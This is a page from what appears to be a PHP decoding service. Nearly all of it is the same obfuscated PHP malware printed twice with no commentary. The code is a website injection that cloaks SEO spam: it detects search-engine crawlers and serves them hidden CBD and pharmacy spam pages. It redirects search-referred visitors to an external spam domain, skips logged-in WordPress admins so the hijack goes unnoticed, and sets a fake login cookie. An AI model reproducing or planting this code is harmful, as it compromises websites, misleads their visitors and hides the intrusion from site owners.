Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto FzsOP; QiPe7: $m9Kz2 = "https://blngblngs.rocks/cbd-jump-new.php?refpage=" . ..
Decoded Output download
<?php
goto FzsOP; QiPe7: $m9Kz2 = "https://blngblngs.rocks/cbd-jump-new.php?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto b6SJQ; pWkxb: if (!preg_match("#^\/(\w{3,4}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $QUC3X)) { goto G6jcK; } goto zPeHk; dMYzV: $rd4a3 = file_get_contents($PGmZ3); goto gPdO4; b_EpE: nlP99: goto chFvK; yX_LG: echo $rd4a3; goto mj51J; v15V1: $PGmZ3 = base64_decode("/usr/www/ifp/logs/weight/") . $Wndg8 . ".html"; goto OghK6; avV3K: qaFF7: goto C767W; jUH2q: $rd4a3 = file_get_contents($PGmZ3); goto yX_LG; ASEnT: dTuX8: goto HwASR; ku5s4: $L_SZJ = 1; goto iYqvU; f38GQ: pMYA0: goto IqNrl; qmrcc: $L_SZJ = 1; goto F3kKo; bLUWo: $oQPgH = array("#Ask\s*Jeeves#i", "#HP\s*Web\s*PrintSmart#i", "#HTTrack#i", "#IDBot#i", "#Indy\s*Library#", "#ListChecker#i", "#MSIECrawler#i", "#NetCache#i", "#Nutch#i", "#RPT-HTTPClient#i", "#rulinki\.ru#i", "#Twiceler#i", "#WebAlta#i", "#Webster\s*Pro#i", "#www\.cys\.ru#i", "#Wysigot#i", "#Yahoo!\s*Slurp#i", "#Yeti#i", "#Accoona#i", "#CazoodleBot#i", "#CFNetwork#i", "#ConveraCrawler#i", "#DISCo#i", "#Download\s*Master#i", "#FAST\s*MetaWeb\s*Crawler#i", "#Flexum\s*spider#i", "#Gigabot#i", "#HTMLParser#i", "#ia_archiver#i", "#ichiro#i", "#IRLbot#i", "#Java#i", "#km\.ru\s*bot#i", "#kmSearchBot#i", "#libwww-perl#i", "#Lupa\.ru#i", "#LWP::Simple#i", "#lwp-trivial#i", "#Missigua#i", "#MJ12bot#i", "#msnbot#i", "#msnbot-media#i", "#Offline\s*Explorer#i", "#OmniExplorer_Bot#i", "#PEAR#i", "#psbot#i", "#Python#i", "#rulinki\.ru#i", "#SMILE#i", "#Speedy#i", "#Teleport\s*Pro#i", "#TurtleScanner#i", "#User-Agent#i", "#voyager#i", "#Webalta#i", "#WebCopier#i", "#WebData#i", "#WebZIP#i", "#Wget#i", "#Yandex#i", "#Yanga#i", "#Yeti#i", "#msnbot#i", "#spider#i", "#yahoo#i", "#jeeves#i", "#google#i", "#altavista#i", "#scooter#i", "#av\s*fetch#i", "#asterias#i", "#spiderthread revision#i", "#sqworm#i", "#ask#i", "#lycos.spider#i", "#infoseek sidewinder#i", "#ultraseek#i", "#polybot#i", "#webcrawler#i", "#robozill#i", "#gulliver#i", "#architextspider#i", "#yahoo!\s*slurp#i", "#charlotte#i", "#ngb#i", "#BingBot#i"); goto qbSp6; Lxesr: if (!preg_match("#^\/(\w{3,4}\-\w{5,6})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $QUC3X)) { goto qaFF7; } goto DhTR2; BmpTP: echo $rd4a3; goto oEoxL; OmRW4: eF0p6: goto MWq6Z; IJEIC: $Wndg8 = str_replace($QUC3X[1] . "/", $QUC3X[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto cydvG; F3kKo: Wugah: goto Rllb9; yKEtv: if (!file_exists($PGmZ3)) { goto PzcDi; } goto RJpSX; Rllb9: if (!(FALSE !== strpos(gethostbyaddr($L8ycZ), "google"))) { goto SrxGe; } goto ku5s4; b6SJQ: header("location: " . $m9Kz2); goto DZPRK; lra7n: if (!wKUB_($km8Q5)) { goto xnMUW; } goto QiPe7; TySqF: function WkUb_($ABplp) { goto UL02T; UL02T: $M0kQj = str_replace("x", '', "bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh|duxckdxucxkxgo"); goto G8GxC; G8GxC: if (preg_match("/{$M0kQj}/i", $ABplp)) { goto Dgq0i; } goto OHIK_; OHIK_: return false; goto RG59d; RG59d: goto ZrPjR; goto Y89bE; Y89bE: Dgq0i: goto iB0hD; iB0hD: return true; goto Moivv; Moivv: ZrPjR: goto MM1zY; MM1zY: } goto SCEou; CP4i1: PzcDi: goto NgEUf; chFvK: p3E5Q: goto avV3K; CA0g1: $Wndg8 = str_replace($QUC3X[1] . "/", $QUC3X[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto rqFyO; WejEG: if (!(!preg_match("/wordpress_logged_in_/i", $DFWub) && !$L_SZJ)) { goto dTuX8; } goto lra7n; aZ9tf: if (!Wkub_($km8Q5)) { goto bOMp3; } goto zZuRl; SCEou: $km8Q5 = strtolower($_SERVER["HTTP_REFERER"]); goto dqjsr; zZuRl: $m9Kz2 = "https://blngblngs.rocks/weight-jump.php?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto p9YIx; DhTR2: if (!(!preg_match("/wordpress_logged_in_/i", $DFWub) && !$L_SZJ)) { goto sOgPM; } goto aZ9tf; iYqvU: SrxGe: goto TySqF; dqjsr: $DFWub = ''; goto VcT20; p9YIx: header("location: " . $m9Kz2); goto n0t0Q; tQuVn: if (!$L_SZJ) { goto p3E5Q; } goto prv5A; mj51J: exit; goto b_EpE; oEoxL: exit; goto CP4i1; NgEUf: JtuRX: goto WuddL; VpZTV: $m9Kz2 = "https://blngblngs.rocks/male-stone.php?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto Fz22n; mkzsp: xnMUW: goto ASEnT; zPeHk: if (!(!preg_match("/wordpress_logged_in_/i", $DFWub) && !$L_SZJ)) { goto v6DKW; } goto EIK6v; rqFyO: $Wndg8 = str_replace("/", '', $Wndg8); goto ve7Ve; DZPRK: exit; goto mkzsp; FzsOP: function xkVSv() { goto lzHYB; PJeyz: goto UpjST; goto J0c6S; lzHYB: $F3of7 = ''; goto SRLSV; pe6Q2: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { goto RwyR1; } goto qzeti; e4g5M: goto UpjST; goto VwBRX; VwBRX: RwyR1: goto w9xHd; Lkh6O: goto UpjST; goto DwWgh; WKR6d: if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { goto buQw3; } goto PJeyz; VI8xG: goto UpjST; goto rIHKG; qzeti: if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { goto X0za9; } goto WKR6d; OBc_o: $F3of7 = getenv("REMOTE_ADDR"); goto VI8xG; J0c6S: Nwkzm: goto pxEpK; pxEpK: $F3of7 = getenv("HTTP_CLIENT_IP"); goto e4g5M; OwWS8: UpjST: goto rLgUQ; SRLSV: if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { goto Nwkzm; } goto pe6Q2; DwWgh: X0za9: goto OBc_o; w9xHd: $F3of7 = getenv("HTTP_X_FORWARDED_FOR"); goto Lkh6O; P1tKR: $F3of7 = $_SERVER["REMOTE_ADDR"]; goto OwWS8; rLgUQ: return $F3of7; goto mMpcE; rIHKG: buQw3: goto P1tKR; mMpcE: } goto d20Tb; VcT20: foreach ($_COOKIE as $cBxMq => $p5D6H) { $DFWub .= $cBxMq . "=" . $p5D6H . ","; anXn5: } goto AGpwm; d20Tb: $L8ycZ = XkvsV(); goto bLUWo; L21QI: if (!file_exists($PGmZ3)) { goto pMYA0; } goto dMYzV; C767W: if (!preg_match("#^\/(\w{5,6}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $QUC3X)) { goto eF0p6; } goto WejEG; IqNrl: LeIAi: goto OmRW4; mHxPj: $PGmZ3 = base64_decode("/usr/www/ifp/logs/male/") . $Wndg8 . ".html"; goto yKEtv; gPdO4: echo $rd4a3; goto J_VKt; AGpwm: xGrle: goto pWkxb; Mdjkf: v6DKW: goto zqQQX; Hbgmy: sOgPM: goto tQuVn; SO3xH: QTl1C: goto Mdjkf; J_VKt: exit; goto f38GQ; HwASR: if (!$L_SZJ) { goto LeIAi; } goto CA0g1; OBpHt: bOMp3: goto Hbgmy; B932f: exit; goto SO3xH; OghK6: if (!file_exists($PGmZ3)) { goto nlP99; } goto jUH2q; n0t0Q: exit; goto OBpHt; RJpSX: $rd4a3 = file_get_contents($PGmZ3); goto BmpTP; EIK6v: if (!WKub_($km8Q5)) { goto QTl1C; } goto VpZTV; prv5A: $Wndg8 = str_replace($QUC3X[1] . "/", $QUC3X[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto TcqrX; ve7Ve: $PGmZ3 = base64_decode("/usr/www/ifp/logs/cbd/") . $Wndg8 . ".html"; goto L21QI; TcqrX: $Wndg8 = str_replace("/", '', $Wndg8); goto v15V1; qbSp6: if (!(!empty($_SERVER["HTTP_USER_AGENT"]) && FALSE !== strpos(preg_replace($oQPgH, "-NO-WAY-", $_SERVER["HTTP_USER_AGENT"]), "-NO-WAY-"))) { goto Wugah; } goto qmrcc; cydvG: $Wndg8 = str_replace("/", '', $Wndg8); goto mHxPj; zqQQX: if (!$L_SZJ) { goto JtuRX; } goto IJEIC; Fz22n: header("location: " . $m9Kz2); goto B932f; WuddL: G6jcK: goto Lxesr; MWq6Z: setcookie("wordpress_logged_in_21232f297a57a5a743894a0e4a801fc3", "wordpress_logged_in_21232f297a57a5a743894a0e4a801fc3", time() + 3600 * 24 * 100); ?>
Did this file decode correctly?
Original Code
<?php
goto FzsOP; QiPe7: $m9Kz2 = "https://blngblngs.rocks/cbd-jump-new.php?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto b6SJQ; pWkxb: if (!preg_match("#^\/(\w{3,4}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $QUC3X)) { goto G6jcK; } goto zPeHk; dMYzV: $rd4a3 = file_get_contents($PGmZ3); goto gPdO4; b_EpE: nlP99: goto chFvK; yX_LG: echo $rd4a3; goto mj51J; v15V1: $PGmZ3 = base64_decode("/usr/www/ifp/logs/weight/") . $Wndg8 . ".html"; goto OghK6; avV3K: qaFF7: goto C767W; jUH2q: $rd4a3 = file_get_contents($PGmZ3); goto yX_LG; ASEnT: dTuX8: goto HwASR; ku5s4: $L_SZJ = 1; goto iYqvU; f38GQ: pMYA0: goto IqNrl; qmrcc: $L_SZJ = 1; goto F3kKo; bLUWo: $oQPgH = array("#Ask\s*Jeeves#i", "#HP\s*Web\s*PrintSmart#i", "#HTTrack#i", "#IDBot#i", "#Indy\s*Library#", "#ListChecker#i", "#MSIECrawler#i", "#NetCache#i", "#Nutch#i", "#RPT-HTTPClient#i", "#rulinki\.ru#i", "#Twiceler#i", "#WebAlta#i", "#Webster\s*Pro#i", "#www\.cys\.ru#i", "#Wysigot#i", "#Yahoo!\s*Slurp#i", "#Yeti#i", "#Accoona#i", "#CazoodleBot#i", "#CFNetwork#i", "#ConveraCrawler#i", "#DISCo#i", "#Download\s*Master#i", "#FAST\s*MetaWeb\s*Crawler#i", "#Flexum\s*spider#i", "#Gigabot#i", "#HTMLParser#i", "#ia_archiver#i", "#ichiro#i", "#IRLbot#i", "#Java#i", "#km\.ru\s*bot#i", "#kmSearchBot#i", "#libwww-perl#i", "#Lupa\.ru#i", "#LWP::Simple#i", "#lwp-trivial#i", "#Missigua#i", "#MJ12bot#i", "#msnbot#i", "#msnbot-media#i", "#Offline\s*Explorer#i", "#OmniExplorer_Bot#i", "#PEAR#i", "#psbot#i", "#Python#i", "#rulinki\.ru#i", "#SMILE#i", "#Speedy#i", "#Teleport\s*Pro#i", "#TurtleScanner#i", "#User-Agent#i", "#voyager#i", "#Webalta#i", "#WebCopier#i", "#WebData#i", "#WebZIP#i", "#Wget#i", "#Yandex#i", "#Yanga#i", "#Yeti#i", "#msnbot#i", "#spider#i", "#yahoo#i", "#jeeves#i", "#google#i", "#altavista#i", "#scooter#i", "#av\s*fetch#i", "#asterias#i", "#spiderthread revision#i", "#sqworm#i", "#ask#i", "#lycos.spider#i", "#infoseek sidewinder#i", "#ultraseek#i", "#polybot#i", "#webcrawler#i", "#robozill#i", "#gulliver#i", "#architextspider#i", "#yahoo!\s*slurp#i", "#charlotte#i", "#ngb#i", "#BingBot#i"); goto qbSp6; Lxesr: if (!preg_match("#^\/(\w{3,4}\-\w{5,6})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $QUC3X)) { goto qaFF7; } goto DhTR2; BmpTP: echo $rd4a3; goto oEoxL; OmRW4: eF0p6: goto MWq6Z; IJEIC: $Wndg8 = str_replace($QUC3X[1] . "/", $QUC3X[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto cydvG; F3kKo: Wugah: goto Rllb9; yKEtv: if (!file_exists($PGmZ3)) { goto PzcDi; } goto RJpSX; Rllb9: if (!(FALSE !== strpos(gethostbyaddr($L8ycZ), "google"))) { goto SrxGe; } goto ku5s4; b6SJQ: header("location: " . $m9Kz2); goto DZPRK; lra7n: if (!wKUB_($km8Q5)) { goto xnMUW; } goto QiPe7; TySqF: function WkUb_($ABplp) { goto UL02T; UL02T: $M0kQj = str_replace("x", '', "bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh|duxckdxucxkxgo"); goto G8GxC; G8GxC: if (preg_match("/{$M0kQj}/i", $ABplp)) { goto Dgq0i; } goto OHIK_; OHIK_: return false; goto RG59d; RG59d: goto ZrPjR; goto Y89bE; Y89bE: Dgq0i: goto iB0hD; iB0hD: return true; goto Moivv; Moivv: ZrPjR: goto MM1zY; MM1zY: } goto SCEou; CP4i1: PzcDi: goto NgEUf; chFvK: p3E5Q: goto avV3K; CA0g1: $Wndg8 = str_replace($QUC3X[1] . "/", $QUC3X[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto rqFyO; WejEG: if (!(!preg_match("/wordpress_logged_in_/i", $DFWub) && !$L_SZJ)) { goto dTuX8; } goto lra7n; aZ9tf: if (!Wkub_($km8Q5)) { goto bOMp3; } goto zZuRl; SCEou: $km8Q5 = strtolower($_SERVER["HTTP_REFERER"]); goto dqjsr; zZuRl: $m9Kz2 = "https://blngblngs.rocks/weight-jump.php?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto p9YIx; DhTR2: if (!(!preg_match("/wordpress_logged_in_/i", $DFWub) && !$L_SZJ)) { goto sOgPM; } goto aZ9tf; iYqvU: SrxGe: goto TySqF; dqjsr: $DFWub = ''; goto VcT20; p9YIx: header("location: " . $m9Kz2); goto n0t0Q; tQuVn: if (!$L_SZJ) { goto p3E5Q; } goto prv5A; mj51J: exit; goto b_EpE; oEoxL: exit; goto CP4i1; NgEUf: JtuRX: goto WuddL; VpZTV: $m9Kz2 = "https://blngblngs.rocks/male-stone.php?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto Fz22n; mkzsp: xnMUW: goto ASEnT; zPeHk: if (!(!preg_match("/wordpress_logged_in_/i", $DFWub) && !$L_SZJ)) { goto v6DKW; } goto EIK6v; rqFyO: $Wndg8 = str_replace("/", '', $Wndg8); goto ve7Ve; DZPRK: exit; goto mkzsp; FzsOP: function xkVSv() { goto lzHYB; PJeyz: goto UpjST; goto J0c6S; lzHYB: $F3of7 = ''; goto SRLSV; pe6Q2: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { goto RwyR1; } goto qzeti; e4g5M: goto UpjST; goto VwBRX; VwBRX: RwyR1: goto w9xHd; Lkh6O: goto UpjST; goto DwWgh; WKR6d: if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { goto buQw3; } goto PJeyz; VI8xG: goto UpjST; goto rIHKG; qzeti: if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { goto X0za9; } goto WKR6d; OBc_o: $F3of7 = getenv("REMOTE_ADDR"); goto VI8xG; J0c6S: Nwkzm: goto pxEpK; pxEpK: $F3of7 = getenv("HTTP_CLIENT_IP"); goto e4g5M; OwWS8: UpjST: goto rLgUQ; SRLSV: if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { goto Nwkzm; } goto pe6Q2; DwWgh: X0za9: goto OBc_o; w9xHd: $F3of7 = getenv("HTTP_X_FORWARDED_FOR"); goto Lkh6O; P1tKR: $F3of7 = $_SERVER["REMOTE_ADDR"]; goto OwWS8; rLgUQ: return $F3of7; goto mMpcE; rIHKG: buQw3: goto P1tKR; mMpcE: } goto d20Tb; VcT20: foreach ($_COOKIE as $cBxMq => $p5D6H) { $DFWub .= $cBxMq . "=" . $p5D6H . ","; anXn5: } goto AGpwm; d20Tb: $L8ycZ = XkvsV(); goto bLUWo; L21QI: if (!file_exists($PGmZ3)) { goto pMYA0; } goto dMYzV; C767W: if (!preg_match("#^\/(\w{5,6}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $QUC3X)) { goto eF0p6; } goto WejEG; IqNrl: LeIAi: goto OmRW4; mHxPj: $PGmZ3 = base64_decode("/usr/www/ifp/logs/male/") . $Wndg8 . ".html"; goto yKEtv; gPdO4: echo $rd4a3; goto J_VKt; AGpwm: xGrle: goto pWkxb; Mdjkf: v6DKW: goto zqQQX; Hbgmy: sOgPM: goto tQuVn; SO3xH: QTl1C: goto Mdjkf; J_VKt: exit; goto f38GQ; HwASR: if (!$L_SZJ) { goto LeIAi; } goto CA0g1; OBpHt: bOMp3: goto Hbgmy; B932f: exit; goto SO3xH; OghK6: if (!file_exists($PGmZ3)) { goto nlP99; } goto jUH2q; n0t0Q: exit; goto OBpHt; RJpSX: $rd4a3 = file_get_contents($PGmZ3); goto BmpTP; EIK6v: if (!WKub_($km8Q5)) { goto QTl1C; } goto VpZTV; prv5A: $Wndg8 = str_replace($QUC3X[1] . "/", $QUC3X[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto TcqrX; ve7Ve: $PGmZ3 = base64_decode("/usr/www/ifp/logs/cbd/") . $Wndg8 . ".html"; goto L21QI; TcqrX: $Wndg8 = str_replace("/", '', $Wndg8); goto v15V1; qbSp6: if (!(!empty($_SERVER["HTTP_USER_AGENT"]) && FALSE !== strpos(preg_replace($oQPgH, "-NO-WAY-", $_SERVER["HTTP_USER_AGENT"]), "-NO-WAY-"))) { goto Wugah; } goto qmrcc; cydvG: $Wndg8 = str_replace("/", '', $Wndg8); goto mHxPj; zqQQX: if (!$L_SZJ) { goto JtuRX; } goto IJEIC; Fz22n: header("location: " . $m9Kz2); goto B932f; WuddL: G6jcK: goto Lxesr; MWq6Z: setcookie("wordpress_logged_in_21232f297a57a5a743894a0e4a801fc3", "wordpress_logged_in_21232f297a57a5a743894a0e4a801fc3", time() + 3600 * 24 * 100); ?>
Function Calls
None |
Stats
MD5 | ae38631a9e765fe347e6cec5c49b3b54 |
Eval Count | 0 |
Decode Time | 44 ms |